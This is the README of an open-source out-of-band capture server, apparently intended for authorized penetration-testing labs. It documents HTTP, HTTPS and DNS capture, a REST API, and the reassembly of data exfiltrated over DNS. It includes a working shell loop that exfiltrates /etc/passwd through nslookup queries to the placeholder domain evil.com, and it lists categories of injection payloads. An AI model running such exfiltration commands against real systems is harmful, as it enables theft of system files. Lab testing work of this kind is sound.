user70616E6461/phantom-grid

GitHub: user70616E6461/phantom-grid

Phantom Grid 是一个免费开源的 OOB 交互捕获平台,替代 Burp Collaborator 并增强 DNS 渗出重组与持久化能力。

Stars: 0 | Forks: 0

Phantom Grid

⬡ Phantom Grid

免费、开源的 Burp Collaborator 替代工具,用于渗透测试实验室
带外(OOB)交互捕获 · HTTP/HTTPS · DNS · SQLite · 渗出数据重组

## 这是什么? **Phantom Grid** 是一个自托管的 OOB(带外)交互捕获工具——它是 Burp Collaborator 的免费替代方案,用于解决渗透测试实验室题目(如 PortSwigger Web Security Academy、HackTheBox、TryHackMe 等)。 ### v2.0 功能特性 | 功能 | 描述 | |---------|-------------| | **HTTP + HTTPS 捕获** | 双栈支持,配备自动生成的 TLS 自签名证书 | | **DNS 捕获** | 内置 DNS 服务器,监听 53 端口 | | **DNS 渗出重组** | 自动分块重组 DNS 渗出数据 | | **SQLite 持久化** | 所有数据在服务器重启后保留(使用 WAL 模式提升性能) | | **40+ 载荷模板** | SSRF、XXE、SQLi OOB、命令注入、SSTI、DNS 渗出等,开箱即用 | | **战术仪表盘** | 实时监控的命令中心 UI | | **Docker 友好** | 一键部署 | | **REST API** | 完整的令牌/交互/渗出数据管理 API | ## 快速开始 ### 选项 1:Python ``` git clone https://github.com/YOUR_USERNAME/phantom-grid.git cd phantom-grid pip install -r server/requirements.txt # 仅 HTTP python server/server.py # HTTP + HTTPS(自动生成自签名证书) python server/server.py --https # 全栈(需要 sudo 访问 DNS 端口 53) sudo python server/server.py --https --dns ``` ### 选项 2:Docker ``` git clone https://github.com/YOUR_USERNAME/phantom-grid.git cd phantom-grid docker compose up -d ``` ### 选项 3:ngrok(适用于没有 VPS 的实验室) ``` python server/server.py --https & ngrok http 9090 # 在有效载荷中使用 ngrok HTTPS URL ``` ## 架构 ``` ┌──────────────────────────────────────────────────────────────┐ │ PHANTOM GRID v2.0 │ │ │ │ ┌─────────────┐ ┌─────────────────────────────────┐ │ │ │ Dashboard │─API─▶│ Flask Server │ │ │ │ (React) │ │ │ │ │ └─────────────┘ │ :9090 HTTP capture + API │ │ │ │ :9443 HTTPS capture + API │ │ │ ┌─────────────┐ │ :53 DNS capture │ │ │ │ Target App │─────▶│ │ │ │ └─────────────┘ └──────────┬──────────────────────┘ │ │ │ │ │ ┌──────────▼──────────┐ │ │ │ SQLite Database │ │ │ │ phantom_grid.db │ │ │ │ │ │ │ │ tokens │ │ │ │ interactions │ │ │ │ dns_exfil_sessions │ │ │ │ dns_exfil_chunks │ │ │ └─────────────────────┘ │ │ │ └──────────────────────────────────────────────────────────────┘ ``` ## HTTPS 支持 现代应用通常会阻止混合内容请求(从 `https://` 页面发起 `http://` 请求)。Phantom Grid v2.0 同时运行 HTTP 和 HTTPS。 ### 自动生成的自签名证书 ``` python server/server.py --https # 自动生成 certs/server.pem + certs/server.key # HTTPS 在 https://0.0.0.0:9443 可用 ``` ### 自定义证书(Let's Encrypt 等) ``` python server/server.py --https \ --cert /etc/letsencrypt/live/yourdomain/fullchain.pem \ --key /etc/letsencrypt/live/yourdomain/privkey.pem ``` ### 使用 ngrok(即时公网 HTTPS) ``` python server/server.py & ngrok http 9090 # ngrok 自动提供可信 HTTPS URL ``` ## DNS 渗出重组 Phantom Grid 会自动重组分块的 DNS 渗出数据。这对于提取必须拆分到多个 DNS 查询的大型载荷至关重要(每个标签限制为 63 字节)。 ### 支持的格式 | 格式 | 示例 | 用途 | |--------|---------|----------| | **简单** | `data.TOKEN.domain` | 单值渗出 | | **索引** | `0.chunk1.TOKEN.domain` | 自动会话、有序分块 | | **标记** | `sess1.0.chunk1.TOKEN.domain` | 带命名会话和顺序 | | **结束信号** | `end.sess1.TOKEN.domain` | 标记会话完成 | ### 示例:通过 DNS 渗出 `/etc/passwd` 目标端执行: ``` # 将文件分割为 50 字节的 base64 块并通过 DNS 发送 data=$(base64 /etc/passwd | tr -d '\n') token="a1b2c3d4e5f6" domain="evil.com" i=0 while [ -n "$data" ]; do chunk=$(echo "$data" | cut -c1-50) data=$(echo "$data" | cut -c51-) nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1 i=$((i+1)) done nslookup "end.exfil.$token.$domain" >/dev/null 2>&1 ``` 查看重组数据: ``` curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil ``` 响应结果: ``` [{ "session_tag": "exfil", "completed": 1, "chunk_count": 12, "reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..." }] ``` ## SQLite 持久化 所有数据存储在 `phantom_grid.db` 中,使用 SQLite WAL 模式以实现并发读写性能。 ``` phantom_grid.db ├── tokens — Token metadata ├── interactions — All HTTP/DNS captures ├── dns_exfil_sessions — Grouped exfil sessions └── dns_exfil_chunks — Individual exfil data chunks ``` 数据在服务器重启后仍然保留。备份只需复制 `phantom_grid.db` 文件。 ## API 参考 ### 令牌 | 方法 | 端点 | 描述 | |--------|----------|-------------| | `GET` | `/api/tokens` | 列出所有令牌及其统计信息 | | `POST` | `/api/tokens` | 创建令牌 `{"label": "...", "notes": "..."}` | | `PATCH` | `/api/tokens/` | 更新令牌标签/备注 | | `DELETE` | `/api/tokens/` | 删除令牌及其全部数据(级联删除) | ### 交互 | 方法 | 端点 | 描述 | |--------|----------|-------------| | `GET` | `/api/tokens//interactions?limit=&offset=` | 获取令牌交互记录 | | `DELETE` | `/api/tokens//interactions` | 清除交互记录 | | `GET` | `/api/log?limit=` | 全局日志(所有令牌) | | `GET` | `/api/poll?since=` | 拉取新交互记录 | ### DNS 渗出 | 方法 | 端点 | 描述 | |--------|----------|-------------| | `GET` | `/api/tokens//exfil` | 获取渗出会话及重组数据 | ### 系统 | 方法 | 端点 | 描述 | |--------|----------|-------------| | `GET` | `/api/stats` | 全局统计(计数、数据库大小) | | `GET` | `/health` | 健康检查 | ### 捕获端点 | 协议 | 端点 | |----------|----------| | HTTP | `http://server:9090/c/` | | HTTPS | `https://server:9443/c/` | | DNS | `.yourdomain.com` | | DNS 渗出 | `..yourdomain.com` | ## CLI 选项 ``` python server.py [OPTIONS] --port N HTTP port (default: 9090) --https Enable HTTPS server --https-port N HTTPS port (default: 9443) --cert PATH Custom TLS certificate (PEM) --key PATH Custom TLS key file --dns Enable DNS capture server --dns-port N DNS port (default: 53) --dns-ip IP IP returned in DNS responses (default: 127.0.0.1) --db PATH SQLite database path (default: phantom_grid.db) ``` ## 与其他工具的对比 | 功能 | Burp Collaborator | Interactsh | Phantom Grid | |---------|-------------------|------------|--------------| | 价格 | Burp Pro($$$) | 免费 | 免费 | | HTTP/HTTPS | ✅ | ✅ | ✅ | | DNS 捕获 | ✅ | ✅ | ✅ | | DNS 渗出重组 | ❌ | ❌ | ✅ | | SMTP 捕获 | ✅ | ✅ | ❌(路线图) | | 自托管 | ❌ | ✅ | ✅ | | 自定义域名 | ❌ | ✅ | ✅ | | 持久化存储 | 不适用 | ❌ | ✅(SQLite) | | 仪表盘 UI | Burp Suite | CLI | Web UI | | 载荷模板 | ❌ | ❌ | ✅(40+) | ## 载荷分类 仪表盘包含 40+ 个开箱即用的可复制载荷: - **HTTP 回调** — GET、cURL、wget、PowerShell、Python - **SSRF** — 直接、URL 编码、双重编码、gopher、IMDS 重定向 - **XXE** — 外部实体、参数实体、OOB DTD 渗出 - **SQL 注入 OOB** — Oracle UTL_HTTP、MSSQL xp_dirtree/xp_cmdshell、MySQL LOAD_FILE、PostgreSQL COPY - **命令注入** — 反引号、$()、管道、分号、换行、DNS 渗出 - **DNS 查找** — 子域名、nslookup、dig、渗出数据 - **SSTI** — Jinja2、ERB、Freemarker、Twig - **邮件/SMTP** — 头部注入、IMAP 回调 ## 免责声明 **仅限授权渗透测试、安全研究及教育实验室环境使用。** 在测试非本人拥有的系统前,请务必获得明确授权。作者不对滥用行为负责。 ## 许可证 MIT — 参见 [许可证](LICENSE)
标签:Burp Collaborator, Capture, CMDi, Dashboard, DNS, DNS Exfil, Docker, Exfil Reassembly, HackTheBox, HTTPS, OOB, Out-of-Band, PortSwigger Web Security Academy, Python, Python 3.10+, REST API, SQLi OOB, SQLite, SSRF, SSTI, TLS, Token管理, TryHackMe, WAL, XXE, 免费, 多payload模板, 安全防御评估, 开源, 无后门, 替代, 渗透测试实验室, 网络测绘, 自定义脚本, 自签名证书, 请求拦截, 逆向工具, 防御工具